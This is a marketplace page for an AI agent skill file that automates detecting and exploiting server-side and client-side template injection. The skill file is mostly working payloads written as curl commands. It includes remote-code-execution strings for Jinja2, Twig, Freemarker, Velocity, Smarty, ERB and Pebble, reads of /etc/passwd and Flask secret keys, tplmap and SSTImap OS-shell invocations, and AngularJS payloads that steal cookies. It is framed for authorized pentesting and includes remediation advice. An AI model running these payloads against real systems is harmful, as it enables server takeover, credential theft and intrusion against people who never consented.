exploiting-template-injection-vulnerabilities

Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.

16 stars

Best use case

exploiting-template-injection-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.

Teams using exploiting-template-injection-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md --create-dirs "https://raw.githubusercontent.com/plurigrid/asi/main/plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/exploiting-template-injection-vulnerabilities/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How exploiting-template-injection-vulnerabilities Compares

Feature / Agentexploiting-template-injection-vulnerabilitiesStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# Exploiting Template Injection Vulnerabilities

## When to Use

- During authorized penetration tests when user input is rendered through a server-side template engine
- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
- For assessing applications that allow users to customize templates or notification messages
- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)
- During security assessments of CMS platforms, marketing tools, or any application with templating functionality

## Prerequisites

- **Authorization**: Written penetration testing agreement with RCE testing scope
- **Burp Suite Professional**: For intercepting and modifying template parameters
- **tplmap**: Automated SSTI exploitation tool (`git clone https://github.com/epinna/tplmap.git`)
- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)
- **curl**: For manual SSTI payload testing
- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

## Workflow

### Step 1: Identify Template Injection Points

Find parameters where user input is processed by a template engine.

```bash
# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates
```

### Step 2: Identify the Template Engine

Determine which template engine is in use to select the appropriate exploitation technique.

```bash
# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"
```

### Step 3: Exploit Jinja2 (Python/Flask)

Achieve code execution through Jinja2 template injection.

```bash
# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"

# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
```

### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines

Use engine-specific payloads for exploitation.

```bash
# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"

# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"

# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"

# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"

# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"

# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"

# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
```

### Step 5: Automate with tplmap and SSTImap

Use automated tools for comprehensive testing and exploitation.

```bash
# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell

# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"

# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  -H "Cookie: session=abc123" \
  -H "Authorization: Bearer token" \
  --os-cmd "whoami"

# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell

# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  --download "/etc/passwd" "/tmp/passwd"

# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class names
```

### Step 6: Test Client-Side Template Injection (CSTI)

Assess for Angular/Vue/React expression injection in client-side templates.

```bash
# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"

# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"

# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"

# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"

# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
  '{{$on.constructor("alert(1)")()}}'; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload: "
  curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |
| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
| **Template Engine** | Software that processes template files with placeholders, replacing them with data |
| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |
| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |
| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |
| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |
| **SSTImap** | Modern SSTI scanner with support for multiple template engines |
| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |
| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |
| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |
| **OWASP ZAP** | Automated SSTI detection in active scanning mode |

## Common Scenarios

### Scenario 1: Flask Email Template Injection
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.

### Scenario 2: Java CMS Freemarker Injection
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` to execute commands.

### Scenario 3: Error Page SSTI
A custom 404 error page reflects the requested URL path through a Twig template. Requesting `/{{['id']|filter('system')}}` causes the server to execute the `id` command.

### Scenario 4: AngularJS Client-Side Injection
A search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.

## Output Format

```
## Template Injection Finding

**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)

### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network

### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user
```

Related Skills

triaging-vulnerabilities-with-ssvc-framework

16
from plurigrid/asi

Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.

testing-for-xxe-injection-vulnerabilities

16
from plurigrid/asi

Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.

testing-for-xss-vulnerabilities

16
from plurigrid/asi

Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.

testing-for-xss-vulnerabilities-with-burpsuite

16
from plurigrid/asi

Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.

testing-for-xml-injection-vulnerabilities

16
from plurigrid/asi

Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.

testing-for-open-redirect-vulnerabilities

16
from plurigrid/asi

Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.

testing-for-json-web-token-vulnerabilities

16
from plurigrid/asi

Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.

testing-for-host-header-injection

16
from plurigrid/asi

Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.

testing-for-email-header-injection

16
from plurigrid/asi

Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.

testing-for-business-logic-vulnerabilities

16
from plurigrid/asi

Identifying flaws in application business logic that allow price manipulation, workflow bypass, and privilege escalation beyond what technical vulnerability scanners can detect.

testing-android-intents-for-vulnerabilities

16
from plurigrid/asi

Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.

secure-storage-template

16
from plurigrid/asi

Boilerplate code templates for Tizen KeyManager integration. Generates C/C#/.NET code for password-protected secure data storage.